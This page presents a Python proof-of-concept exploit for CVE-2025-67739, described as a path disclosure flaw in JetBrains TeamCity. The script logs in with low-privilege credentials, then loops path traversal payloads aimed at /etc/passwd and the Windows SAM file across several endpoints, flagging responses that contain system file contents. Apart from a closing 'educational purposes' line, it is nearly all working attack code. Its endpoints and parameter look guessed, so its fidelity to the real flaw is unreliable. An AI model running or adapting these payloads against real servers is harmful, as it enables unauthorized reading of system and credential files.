CVE-2025-67739: JetBrains TeamCity 路径遍历导致本地路径泄露漏洞

# CVE-2025-67739 PoC - JetBrains TeamCity Path Disclosure # Affected: JetBrains TeamCity < 2025.11.2 # Type: Information Disclosure via Improper URL Validation import requests import urllib3 urllib3.disable_warnings() target = "https://teamcity-server:8111" username = "low_priv_user" password = "password123" # Login to get session session = requests.Session() login_url = f"{target}/login.html" login_data = { "username": username, "password": password, "submitLogin": "Login" } response = session.post(login_url, data=login_data, verify=False) print(f"Login Status: {response.status_code}") # Try path traversal in repository URL vulnerable_endpoints = [ "/repository.html", "/admin/repository.html", "/app/rest/vcs-root-instances", "/app/rest/vcs-roots" ] payloads = [ "file:///etc/passwd", "file:///../../etc/passwd", "http://localhost/../../../etc/passwd", "../../../etc/passwd", "..\..\..\windows\system32\config\sam" ] for endpoint in vulnerable_endpoints: for payload in payloads: try: test_url = f"{target}{endpoint}?url={payload}" response = session.get(test_url, timeout=10, verify=False) if "root:" in response.text or "Administrator" in response.text: print(f"[+] VULNERABLE! Endpoint: {endpoint}") print(f"[+] Payload: {payload}") print(f"[+] Response snippet: {response.text[:500]}") elif "path" in response.text.lower() or "c:\windows" in response.text.lower(): print(f"[*] Possible path disclosure at: {endpoint}") print(f"[*] Payload: {payload}") except Exception as e: print(f"[-] Error testing {endpoint}: {e}") print("\n[!] Note: This PoC is for educational purposes only.") print("[!] Always obtain proper authorization before testing.")